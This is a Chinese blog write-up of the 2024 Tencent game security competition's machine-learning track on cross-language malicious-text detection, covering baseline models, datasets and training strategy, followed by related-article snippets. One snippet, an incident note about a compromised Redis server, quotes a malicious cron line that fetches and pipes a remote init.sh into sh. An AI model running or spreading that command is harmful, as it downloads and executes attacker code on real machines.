2024腾讯游戏安全技术竞赛-机器学习赛道

news2024/11/17 9:58:19

决赛赛题链接https://gss.tencent.com/competition/2024/doc/2024%E8%85%BE%E8%AE%AF%E6%B8%B8%E6%88%8F%E5%AE%89%E5%85%A8%E6%8A%80%E6%9C%AF%E7%AB%9E%E8%B5%9B-%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0-%E5%86%B3%E8%B5%9B.zip

今年的题目是游戏跨语言恶意内容识别 ,题目比较简洁,数据也简单,只有0-1标签和语句.但是想要拿高分不容易,训练集少是一方面,跨语言也是一方面.相较于往年的题目,数据集非常有限(往年甚至有70G的数据),也从机器学习进化到了深度学习.

题目介绍

参赛者需要基于英语数据集开发一款跨语言恶意文本识别模型,最终模型将在包含英语、阿语、土语、俄语的测试集上评估效果,并取各语种的 F-score 平均值作为评定最终成绩的依据。

比赛提供的数据集:

1. 训练集及相关数据集:

  • 8k 条带标注数据(英语),文件名:train.txt
  • 4*20k 条无标注数据(每个语种各 20k),文件名:unlabel_text.txt
  • 4*5k 条 ChatGPT 标注数据(每个语种各 5k),文件名:labeled_text_by_ChatGPT.txt。 prompt 见文件 labeled_text_by_ChatGPT_prompt.txt。
  • 50k 平行语料(以英语为原语言,通过 ChatGPT 翻译获取)文件名:parallel_text_by_ChatGPT.txt。prompt 见文件 parallel_text_by_ChatGPT_prompt.txt。

2. 验证集:

  • 4*100 条带标注数据(每个语种各 100),文件名:dev_ar.txt、dev_en.txt、dev_ru.txt、dev_tr.txt

3. 测试集:4*1k 无标注数据(每个语种各 1k),与验证集同分布,不对外提供。

这个赛题机制比较特别,一般比赛直接提供测试集或者分数排行榜,本赛题啥也不给,完全黑盒状态,不能通过排行榜去判断自己模型的好坏,唯一评判标准只有验证集.结果就跟买彩票一样.


赛题分析

题目给出了baseline:

采用 twitter-xlm-roberta-base 作为基础模型,https://huggingface.co/cardiffnlp/twitter-xlm-roberta-base.
合并训练集和验证集作为训练集,训练参数:learning_rate=1e-5;batch_size=64;train_epoch=3;
最终指标:0.674094

一般情况下,根据比赛时间的长短,选择是否更换模型.这次比赛初赛3天,决赛5天(本来没有5天的,但是提前开赛了,感觉缺少了优势).时间比较短就没有必要更换基础模型了,最多找一下微调的模型.

废话:XLM-RoBERTa(XLM-R)是由Facebook AI团队在2019年11月发布的模型,作为其原始的XLM-100模型的更新。XLM-R是基于Transformer的语言模型,都依赖于掩码语言模型目标,并且都能够处理100种不同语言的文本。它已经证明能在各种跨语言任务上达到行业领先的性能表现,并在需要多语言理解和迁移学习的场景中尤其有用。

针对数据集,唯一能直接使用的训练集只有8k 条带标注数据(英语),其他未标注数据和GPT标注数据慎用(实测直接用会降分).所以要寻找公开的数据集(题目提到比赛不限制使用任何开源数据、模型、代码).

最后是训练方法,baseline中提到合并训练集和验证集作为训练集.而我们没有测试集,唯一的评价标准只有验证集,所以不能一开始就直接使用验证集进行训练,应该根据其他训练集在验证集上的表现,把评价指标拉到最高后,再使用验证集进行训练.


一些想法

模型

由于初赛只有两种语言,所以没有想着要使用其他微调过的模型,直接使用了baseline进行训练,可到了决赛却有4种语言,应该选用更好的微调模型,可以以验证集评价在线模型.

这里给出一些微调模型的比较(在验证集上评估,评价指标为准确率):

  • szzzzz/xlm-roberta-base-text-toxic

    https://huggingface.co/szzzzz/xlm-roberta-base-text-toxic

  • cardiffnlp/twitter-xlm-roberta-base(baseline)

    https://huggingface.co/cardiffnlp/twitter-xlm-roberta-base

  • EIStakovskii/xlm_roberta_base_multilingual_toxicity_classifier_plus

    https://huggingface.co/EIStakovskii/xlm_roberta_base_multilingual_toxicity_classifier_plus

  • airKlizz/xlm-roberta-base-germeval21-toxic-with-data-augmentation

    https://huggingface.co/airKlizz/xlm-roberta-base-germeval21-toxic-with-data-augmentation

szzzzzcardiffnlpEIStakovskiiairKlizz
en0.360.40.660.62
ru0.660.30.610.53
ar0.520.360.650.63
tr0.390.390.520.55
平均0.550.360.610.58

如果在初赛的时候就选择了一个指标较高的模型,结果应该会更好.

数据集

GitHub - aymeam/Datasets-for-Hate-Speech-Detection: Datasets for Hate Speech Detection

Multi-lingual HateSpeech Dataset | Kaggle(MultiLanguageTrainDataset.csv)

词汇 GitHub - valeriobasile/hurtlex: A multilingual lexicon of words to hurt.

英语

数据集

xhate

Davidson et al., 2017

俄语

数据集

xhate

Automatic Toxic Comment Detection in Social Media for Russian

Detection of Abusive Speech for Mixed Sociolects of Russian and Ukrainian Languages

Russian South Park

土耳其语

数据集

xhate

offenseval_2020

Turkish Hate Speech Analysis

turkish-toxic-language

turkish-offensive-language-detection

阿拉伯语

数据集

Let-Mi

MLMA

L-HSAB

Arabic Hate Speech Dataset 2023

SSTD

实际测试只有部分数据集能提分,其他数据集都不太行.我认为是打标签的规则不一样,所以GPT的数据和其他数据集需要慎用.

训练

我的方法是先集中力量提升某一语言的指标(数据集要筛选,降分的不用),然后在提升下一语言的时候,把之前的数据集和新语言的数据集合并进行训练,防止练了这个语言,上一语言又不行了.最后拿验证集进行训练.


可能有用的方法

  1. 每种语言单独训练一个模型,开头加个语种分类器.这个应该不违规,达到下面这个限制应该就行
  2. 想办法使用GPT标注的数据和无标注数据.我觉得聚类可能不太行,想了一种比较简单的方法.因为唯一已知的打标签方法只有验证集和英语的训练集,所以通过去学习他们的打标签规则去给无标签的数据集生成标签.也就是先用非验证集数据把模型指标拉到最高,然后加入验证集进行训练.把这个训练好的模型作为标签生成模型,对GPT标注的数据(不是翻译的数据)进行打标签,根据生成的标签和GPT的标签进行融合,筛选出两者标签相同的数据.再把这些数据放入指标最高的模型进行训练,如果有提升,则逐渐扩展到给无标注数据打标签.翻译的数据最好不要用,翻译质量不好掌握.GPT打的标签也不要直接使用,联想能力太强,导致过渡解读语句.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1621546.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++核心编程——4.5 运算符重载

4.5.0 运算符重载概念 对已有的运算符重新进行定义,赋予其另一种功能,以适应不同的数据类型 4.5.1 加号运算符重载 作用:实现两个自定义数据类型相加的运算 class Person { public:Person() {};Person(int a, int b){this->m_A a;this…

如何设计一个安全的系统架构?

本文转自 公众号 ByteByteGo,如有侵权,请联系,立即删除 如何设计一个安全的系统架构? 如何设计安全的系统?我们总结了 12 条原则供架构师们参考。 设计安全的系统非常重要,原因有很多,从保护敏…

大模型预训练Pretrain

选基座 —> 扩词表 —> 采样&切分数据 —> 设置学习参数 —> 训练 —> 能力测评) 基座google/flan-t5 T5 模型:NLP Text-to-Text 预训练模型超大规模探索 - 知乎相信大多 NLP 相关者,在时隔 BERT 发布近一年的现在&…

阿斯达年代记三强争下载教程 阿斯达年代记游戏下载教程

《阿斯达年代记三强争霸》作为一款蔚为壮观的MMORPG巨制,是由Netmarble与STUDIO DRAGON携手推出的扛鼎之作,预计于4月24日迎来万众瞩目的公开测试。游戏的中心舞台聚焦于阿斯达大陆的统治权争夺,通过三大阵营——阿斯达联邦、亚高同盟与边缘叛…

excel相同行不同列查询

EXCEL中e列和f列是每一行对应的,我想在d列中找和e列一样的元素,然后获取同一行中f列的值 IFERROR(VLOOKUP(D1, E:F, 2, FALSE), "")

SpringCloud 与 Dubbo 的区别详解

一、Spring Cloud 和 Dubbo 的概述 1.1 SpringCloud 简介 SpringCloud 是一个用于构建云原生应用的框架集合,它为开发者提供了一套完整的工具链,用于快速搭建分布式系统。SpringCloud 基于 SpringBoot 开发,具有如下特点: 提供…

error while loading shared libraries: libaio.so.1: wrong ELF class: ELFCLASS32

这个错误的意思是编译对象需要32位的libaio库 centos版本执行以下命令检查系统有哪些libaio的版本 yum list libaio 如图,有两个版本,将两个版本都安装一下 yum install libaio.x86_64 再编译,成功

Linux下redis的安装过程与配置详细教程【5.0.5为例子】

Linux下redis的安装过程与配置方法【5.0.5为例子】 下载redis redis下载地址 https://download.redis.io/releases/ 也可以自行去官网下载 提示:此处安装的为redis-5.05的版本 上传redis安装包(我的安装目录为/data/tool/redis-5.0.5) 创建目录/data/local/tool并…

记录第一次云服务器redis被黑

redis里莫名奇妙被写入四个键值对,backup1,backup2,backup3,backup4,内容是奇奇怪怪的sh脚本:*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh http://en2an.top/cleanfda/init.sh */2 * * * * root cd1 -fsSL http…

闲话 ASP.NET Core 数据校验(一):内置数据校验

前言 所谓输入的是垃圾,输出也必然是垃圾,有多少安全问题隐藏在请求的数据中,所以永远不能相信来自用户端的输入。 对请求数据的合法性进行校验,不仅有助于提升用户界面的友好性,而且有助于提高后台程序的安全性和稳…

测试用例设计方法-异常测试

飞的最高的海鸥,能看到最远的奇景。大家好,继续给大家分享如何进行异常测试,首先要做好异常测试,需要我们对被测系统进行全面的了解,熟悉被测系统的功能、架构和运行机制,然后在这个基础上尽可能覆盖各种的…

Linux 基础IO(2)磁盘文件

文章目录 1.磁盘文件2.文件系统3.软硬链接1.软链接2.硬链接 4.动静态库1.静态库2.动态库 1.磁盘文件 扇区:整个盘片分成不同的区块,每一个区块就是一个扇区。 扇区是磁盘IO的基本单位,一般为512Byte或4KB,一般磁盘都是512Byte磁道&#xff1a…

一年期免费SSL证书正在消失?这里还有

在数字化时代,数据安全与隐私保护的重要性不言而喻。SSL(Secure Sockets Layer)证书作为保障互联网通信安全的关键工具,其有效期一直是业界关注的焦点。近年来,我们见证了免费一年期SSL证书向三个月有效期的转变&#…

【LeetCode刷题记录】24. 两两交换链表中的节点

24 两两交换链表中的节点 给你一个链表,两两交换其中相邻的节点,并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题(即,只能进行节点交换)。 示例 1: 输入:head [1,2,…

C++ 编译器中对 use after free 的检查示例

意图&#xff1a;检查源代码中是否存在某些地址&#xff0c;在free掉之后还对其进行了访问。 1, 示例远代码 cat hello_sani.cpp #include <iostream>using namespace std;int main(int argc, char **argv) {int i 1;int *A new int[12];cout <<"newed …

【Unity】AssetBundle加载与卸载

unity官方apiAssetBundle-LoadFromFileAsync - Unity 脚本 API 异步加载AB包 using UnityEngine; using System.Collections; using System.IO;public class LoadFromFileAsyncExample : MonoBehaviour {IEnumerator Start(){var bundleLoadRequest AssetBundle.LoadFromFil…

【执行数据库操作时Tomcat报错但不影响使用】error testWhileIdle is true, validationQuery not set

问题描述 每次重新部署项目后&#xff0c;执行数据库相关操作都会报个“严重error”&#xff0c;之后再查询数据库就不会有了&#xff0c;目前看来没任何其他影响 24-Apr-2024 20:19:15.195 严重 [http-nio-8082-exec-12] com.alibaba.druid.support.logging.JakartaCommons…

stable diffusion webui 使用 SDXL模型

可以去c站上下载别人处理好的模型&#xff0c;从liblib里下载也可以 DreamShaper XL 将下载好的模型复制到/models/Stable-diffusion目录下&#xff0c;webui的界面里选择加载模型 测试了一下&#xff0c;需要注意的是这三个选项 采样器必须设置为DPM SDE Karras &#xf…

java SpringMvc笔记

springMVC M:模型层,包含实体类,业务逻辑层,数据访问层; v: 视图层,html,javascript,vue等 c:控制层,它是用来接收客户端的请求,并返回响应客户端的组件,Servelet组件 SpringMVC 1、轻量级&#xff0c;基于MVC的框架 2、具备IOC和AOP 3、完全基于注解开发 client(客户端)-&am…

用友 GRP-U8 fastjson远程代码执行漏洞复现(XVE-2024-8863)

0x01 产品简介 用友GRP-U8R10行政事业内控管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。 0x02 漏洞概述 用友 GRP-U8 R10系列版本 VerifyToken 接口存在低版本fastjson反序列化漏洞,未经…